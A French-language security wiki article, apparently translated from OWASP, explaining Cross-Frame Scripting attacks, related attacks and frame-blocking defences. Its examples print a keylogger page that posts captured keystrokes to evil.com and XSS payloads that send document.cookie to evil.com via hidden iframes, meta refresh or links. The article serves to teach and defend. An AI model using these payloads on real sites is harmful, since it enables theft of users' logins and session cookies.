Table of Contents
cross frame scripting
Cross-Frame Scripting (XFS) est une attaque côté client rattachée au Cross-site Scripting (XSS). Dans une attaque XFS, l'attaquant exploite un bug spécifique cross-frame-scripting dans un navigateur web pour accéder aux données privées sur un site Internet tierce. L'attaquant incite l'utilisateur du navigateur à aller sur une page Web que l'attaquant contrôle ; la page de l'attaquant charge une page tierce dans une frame HTML ; et ensuite javascript s'exécutant dans la page de l'attaquant il y a vol des données de la page de tierce.
XFS est aussi quelquefois utilisé pour décrire une attaque XSS qui utilise une frame HTML dans l'attaque. Par exemple, un attaquant pourrait exploiter une Cross Site Scripting Flaw pour injecter une frame dans une page Web tierce ; ou un attaquant pourrait créer une page qui utilise une frame pour charger une page tierce avec un défaut XSS.
Facteurs de risque
Le modèle standard de sécurité de navigateur autorise à javascript depuis une page Web à accéder au contenu d'autres pages qui ont été chargées dans différentes fenêtres ou frames de navigateur - depuis aussi longtemps que ces autres pages ont été chargées d'un serveur ou domaine de même-origine. Il ne permet pas l'accès aux pages qui ont été chargées depuis différents serveurs ou domaines (voir l'article MSDN About Cross-Frame Scripting and Security). Pourtant, les bugs spécifiques dans ce modèle de sécurité existent dans les navigateurs spécifiques, en permettant à un attaquant d'accéder à quelques données dans les pages chargées de différents serveurs ou domaines. Le plus célèbre de ces bugs affecte IE, qui divulgue les frappas sur le clavier à travers des framesets HTML (voir iDefense Labs advisory Microsoft Internet Explorer Cross Frame Scripting Restriction Bypass).Ce bug pourrait permettre, par exemple, à un attaquant de voler l'identité d'ouverture de session d'un utilisateur de navigateur quand il/elle essaie de les taper dans un formulaire d'ouverture de session d'une page Web tierce.
Exemples
Attaque XFS contre IE
Pour exploiter le bug IE qui divulgue des frappes de clavier à travers des framesets, un attaquant peut créer une page Web à evil.com, que l'attaquant contrôle, et inclure sur la page evil.com une frame visible affichant la page d'ouverture de session pour example.com. L'attaquant peut cacher les bordures de la frame et étendre la frame pour couvrir la page entière, alors il surveille l'utilisateur du navigateur qui visite actuellement example.com. L'attaquant enregistre des javascripts dans la page principale d' evil.com qui écoute toutes les frappes de clavier de la page. Normalement, cette écoute serait informée des frappes provenant seulement de la page principale evil.com - mais à cause du bug du navigateur, cette écoute est informée aussi des frappes provenant de la page de frame example.com. Ainsi chaque frappe de touche faite par l'utilisateur du navigateur dans la frame example.com, en essayant de se connecter à example.com, peut être capturée par l'attaquant et retournée à evil.com :
<!-- http://evil.com/example.com-login.html -->
<head>
<script>
// array of user keystrokes
var keystrokes = [];
// event listener which captures user keystrokes
document.onkeypress = function() {
keystrokes.push(window.event.keyCode);
}
// function which reports keytrokes back to evil.com every second
setInterval(function() {
if (keystrokes.length) {
var xhr = newXHR();
xhr.open("POST", "http://evil.com/k");
xhr.send(keystrokes.join("+"));
}
keystrokes = [];
}, 1000);
// function which creates an ajax request object
function newXHR() {
if (window.XMLHttpRequest)
return new XMLHttpRequest();
return new ActiveXObject("MSXML2.XMLHTTP.3.0");
}
</script>
</head>
<!-- re-focusing to this frameset tricks browser into leaking events -->
<frameset onload="this.focus()" onblur="this.focus()">
<!-- frame which embeds example.com login page -->
<frame src="http://example.com/login.html">
</frameset>
Attaque XSS utilisant des Frames
Pour exploiter une Cross Site Scripting Flaw sur une page Web tierce comme example.com, l'attaquant pourrait créer une page Web comme evil.com, que l'attaquant contrôle et inclure un iframe caché dans la page evil.com. L'iframe charge la page défectueuse example.com et y injecte des scripts par le biais du défaut XSS. Dans cet exemple, la page example.com insère la valeur du paramètre de requête “q” depuis l'URL de la page dans le contenu de la page sans échapper à la valeur. Cela permet à l'attaquant d'injecter du javascript dans la page example.com qui vole le cookie example.com de l'utilisateur du navigateur, et envoie le cookie via une requête d'image fausse à evil.com (le src de l'URL de l'iframe est encapsulé pour la lisibilité) :
<iframe style="position:absolute;top:-9999px" src="http://example.com/
flawed-page.html?q=<script>document.write('<img src=\"http://evil.com/
?c='+encodeURIComponent(document.cookie)+'\">')</script>"></iframe>
L'iframe est caché hors écran, donc l'utilisateur du navigateur n'aura aucune idée qu'il/elle a juste “visité” la page example.com. Pourtant, cette attaque est effectivement la même qu'une attaque conventionnelle XSS, comme l'attaquant pourrait avoir simplement redirigé l'utilisateur directement à la page example.com, en utilisant une variété de méthodes, incluant un élément meta comme cela (de nouveau, l'élément meta de l'URL est encapsulé pour la lisibilité) :
<meta http-eqiv="refresh" content="1;url=http://example.com/
flawed-page.html?q=<script>document.write('<img src=\"http://evil.com/
?c='+encodeURIComponent(document.cookie)+'\">')</script>">
La seule différence est qu'en utilisant un iframe, l'attaquant peut cacher la frame hors écran - donc l'utilisateur du navigateur n'aura aucune idée qu'il/elle a juste “visité” example.com. En utilisant une redirection pour naviguer directement vers example.com, le navigateur affichera l'url de example.com dans la barre d'adresse du navigateur, et la page example.com dans la fenêtre du navigateur, donc l'utilisateur du navigateur croira qu'il/elle visite example.com.
Autre attaque XSS utilisant des Frames
Pour exploiter une Cross Site Scripting Flaw acomme ci-dessus à example.com (qui insère la valeur du paramètre de requête “q” depuis l'URL de la page dans le contenu de la page sans échapper à la valeur) l'attaquant pourrait créer une page Web comme evil.com, que l'attaquant contrôle, qui inclut un lien comme le suivant, et inciter l'utilisateur à cliquer sur le lien.
http://example.com/flawed-page.html?=<iframe src="
javascript:document.body.innerHTML=+'<img src=\"http://evil.com/
?c='+encodeURIComponent(document.cookie)+'\">'"></iframe>
De nouveau, cette attaque est effectivement la même qu'une attaque conventionnelle XSS ; l'attaquant utilise simplement l'attribut src de l'élément injecté de l'iframe comme un véhicule pour envoyer du code javascript dans la page attaquée.
Agents de menace liés
- Une attaque XFS est généralement faîtes par Category:Internet attacker.
- Une attaque XFS exploitant un bug du navigateur qui divulgue des événements à travers des frames est semblable à une attaque qui utilise un logiciel conventionnel de key-logging.
Attaques liées
- Un attaquant pourrait utiliser une frame cachée pour exécuter une attaque de Cross-site Scripting (XSS).
- Un attaquant pourrait utiliser une frame cachée pour exécuter une attaque de Cross-Site Request Forgery (CSRF).
- Un attaquant pourrait utiliser une frame visible pour exécuter une attaque de Clickjacking.
- Une attaque XFS exploitant un bug du navigateur qui divulgue des événements à travers des frames est une attaque de Phishing (l'attaquant attire l'utilisateur saisissant des informations sensibles dans une frame contenant une page tierce légitime).
Vulnerabilités liées
- Les attaques XFS exploitent les bugs spécifiques au navigateur.
Contrôles liés
- Les attaques XFS peuvent être évitées en empêchant la page Web tierce d'être insérée dans une frame ; les techniques utilisées pour faire ça sont les mêmes que celles utilisées pour Clickjacking Protection for Java EE.
Références
- MSDN article About Cross-Frame Scripting and Security
- iDefense Labs advisory Microsoft Internet Explorer Cross Frame Scripting Restriction Bypass
